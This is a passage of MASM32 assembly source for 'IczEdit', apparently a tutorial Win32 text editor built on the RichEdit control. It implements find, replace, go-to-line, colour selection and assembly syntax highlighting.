IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 3.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black
WordFileName db "\wordfile.txt",0
ASMSection db "ASSEMBLY",0
C1Key db "C1",0
C2Key db "C2",0
C3Key db "C3",0
C4Key db "C4",0
C5Key db "C5",0
C6Key db "C6",0
C7Key db "C7",0
C8Key db "C8",0
C9Key db "C9",0
C10Key db "C10",0
ZeroString db 0
ASMColorArray dd 0FF0000h,0805F50h,0FFh,666F00h,44F0h,5F8754h,4 dup(0FF0000h)
CommentColor dd 808000h

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>
ASMSyntaxArray dd 256 dup(?)
hSearch dd ?		; handle to the search/replace dialog box
hAccel dd ?
hMainHeap dd ?		; heap handle
OldWndProc dd ?
RichEditVersion dd ?

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke GetProcessHeap
        mov hMainHeap,eax
        call FillHiliteInfo
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; no text in the clipboard
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; no current selection
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE
    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi
    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord
    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop
EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt
WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax
    push ArrayOffset
    pop [esi].pColor
    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer
    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; multiply by 4
    add eax,edx
    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif
    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt
Finished:
    .if InProgress==TRUE
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
        push esi
        mov esi,eax
        assume esi:ptr WORDINFO
        invoke lstrlen,addr buffer
        mov [esi].WordLen,eax
        push ArrayOffset
        pop [esi].pColor
        inc eax
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
        mov [esi].pszWord,eax
        mov edx,eax
        invoke lstrcpy,edx,addr buffer
        mov eax,pArray
        movzx edx,byte ptr [buffer]
        shl edx,2		; multiply by 4
        add eax,edx
        .if dword ptr [eax]==0
            mov dword ptr [eax],esi
        .else
            push dword ptr [eax]
            pop [esi].NextLink
            mov dword ptr [eax],esi
        .endif
        pop esi
    .endif
    ret
ParseBuffer endp

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray
    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName
    invoke GetFileAttributes,addr buffer
    .if eax!=-1
        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C2Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,4
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C3Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,8
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C4Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,12
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C5Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,16
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C6Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,20
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C7Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,24
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C8Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,28
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C9Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,32
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C10Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,36
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
        invoke HeapFree,hMainHeap,0,pTemp
    .endif
    ret
FillHiliteInfo endp

NewRichEditProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL hdc:DWORD
    LOCAL hOldFont:DWORD
    LOCAL FirstChar:DWORD
    LOCAL rect:RECT
    LOCAL txtrange:TEXTRANGE
    LOCAL buffer[1024*10]:BYTE
    LOCAL hRgn:DWORD
    LOCAL hOldRgn:DWORD
    LOCAL RealRect:RECT
    LOCAL pString:DWORD
    LOCAL BufferSize:DWORD
    LOCAL pt:POINT
    .if uMsg==WM_PAINT
        push edi
        push esi
        invoke HideCaret,hWnd
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        push eax
        mov edi,offset ASMSyntaxArray
        invoke GetDC,hWnd
        mov hdc,eax
        invoke SetBkMode,hdc,TRANSPARENT
        invoke SendMessage,hWnd,EM_GETRECT,0,addr rect
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect
        invoke SendMessage,hWnd,EM_LINEFROMCHAR,eax,0
        invoke SendMessage,hWnd,EM_LINEINDEX,eax,0
        mov txtrange.chrg.cpMin,eax
        mov FirstChar,eax
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect.right
        mov txtrange.chrg.cpMax,eax
        push rect.left
        pop RealRect.left
        push rect.top
        pop RealRect.top
        push rect.right
        pop RealRect.right
        push rect.bottom
        pop RealRect.bottom
        invoke CreateRectRgn,RealRect.left,RealRect.top,RealRect.right,RealRect.bottom
        mov hRgn,eax
        invoke SelectObject,hdc,hRgn
        mov hOldRgn,eax
        invoke SetTextColor,hdc,CommentColor
        lea eax,buffer
        mov txtrange.lpstrText,eax
        invoke SendMessage,hWnd,EM_GETTEXTRANGE,0,addr txtrange
        .if eax>0
            mov esi,eax		; esi == size of the text
            mov BufferSize,eax
            push edi
            push ebx
            lea edi,buffer
            mov edx,edi		; used as the reference point
            mov ecx,esi
            mov al,";"
ScanMore:
            repne scasb
            je NextSkip
            jmp NoMoreHit
NextSkip:
            dec edi
            inc ecx
            mov pString,edi
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMin,ebx
            push eax
            mov al,0Dh
            repne scasb
            pop eax
HiliteTheComment:
            .if ecx>0
                mov byte ptr [edi-1],0
            .endif
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMax,ebx
            pushad
            mov edi,pString
            mov esi,txtrange.chrg.cpMax
            sub esi,txtrange.chrg.cpMin		; esi contains the length of the buffer
            mov eax,esi
            push edi
            .while eax>0
                .if byte ptr [edi]==9
                    mov byte ptr [edi],0
                .endif
                inc edi
                dec eax
            .endw
            pop edi
            .while esi>0
                .if byte ptr [edi]!=0
                    invoke lstrlen,edi
                    push eax
                    mov ecx,edi
                    lea edx,buffer
                    sub ecx,edx
                    add ecx,FirstChar
                    .if RichEditVersion==3
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                    .else
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                        mov ecx,eax
                        and ecx,0FFFFh
                        mov rect.left,ecx
                        shr eax,16
                        mov rect.top,eax
                    .endif
                    invoke DrawText,hdc,edi,-1,addr rect,0
                    pop eax
                    add edi,eax
                    sub esi,eax
                .else
                    inc edi
                    dec esi
                .endif
            .endw
            mov ecx,txtrange.chrg.cpMax
            sub ecx,txtrange.chrg.cpMin
            invoke RtlZeroMemory,pString,ecx
            popad
            .if ecx>0
                jmp ScanMore
            .endif
NoMoreHit:
            pop ebx
            pop edi
            mov ecx,BufferSize
            lea esi,buffer
            .while ecx>0
                mov al,byte ptr [esi]
                .if al==" " || al==0Dh || al=="/" || al=="," || al=="|" || al=="+" || al=="-" || al=="*" || al=="&" || al=="<" || al==">" || al=="=" || al=="(" || al==")" || al=="{" || al=="}" || al=="[" || al=="]" || al=="^" || al==":" || al==9
                    mov byte ptr [esi],0
                .endif
                dec ecx
                inc esi
            .endw
            lea esi,buffer
            mov ecx,BufferSize
            .while ecx>0
                mov al,byte ptr [esi]
                .if al!=0
                    push ecx
                    invoke lstrlen,esi
                    push eax
                    mov edx,eax		; edx contains the length of the string
                    movzx eax,byte ptr [esi]
                    .if al>="A" && al<="Z"
                        sub al,"A"
                        add al,"a"
                    .endif
                    shl eax,2
                    add eax,edi		; edi contains the pointer to the WORDINFO pointer array
                    .if dword ptr [eax]!=0
                        mov eax,dword ptr [eax]
                        assume eax:ptr WORDINFO
                        .while eax!=0
                            .if edx==[eax].WordLen
                                pushad
                                invoke lstrcmpi,[eax].pszWord,esi
                                .if eax==0
                                    popad
                                    mov ecx,esi
                                    lea edx,buffer
                                    sub ecx,edx
                                    add ecx,FirstChar
                                    pushad
                                    .if RichEditVersion==3
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                                    .else
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                                        mov ecx,eax
                                        and ecx,0FFFFh
                                        mov rect.left,ecx
                                        shr eax,16
                                        mov rect.top,eax
                                    .endif
                                    popad
                                    mov edx,[eax].pColor
                                    invoke SetTextColor,hdc,dword ptr [edx]
                                    invoke DrawText,hdc,esi,-1,addr rect,0
                                    .break
                                .endif
                                popad
                            .endif
                            push [eax].NextLink
                            pop eax
                        .endw
                    .endif
                    pop eax
                    pop ecx
                    add esi,eax
                    sub ecx,eax
                .else
                    inc esi
                    dec ecx
                .endif
            .endw
        .endif
        invoke SelectObject,hdc,hOldRgn
        invoke DeleteObject,hRgn
        invoke SelectObject,hdc,hOldFont
        invoke ReleaseDC,hWnd,hdc
        invoke ShowCaret,hWnd
        pop eax
        pop esi
        pop edi
        ret
    .elseif uMsg==WM_CLOSE
        invoke SetWindowLong,hWnd,GWL_WNDPROC,OldWndProc
    .else
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
NewRichEditProc endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; means this message is not processed
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif
        invoke SetWindowLong,hwndRichEdit,GWL_WNDPROC, addr NewRichEditProc
        mov OldWndProc,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
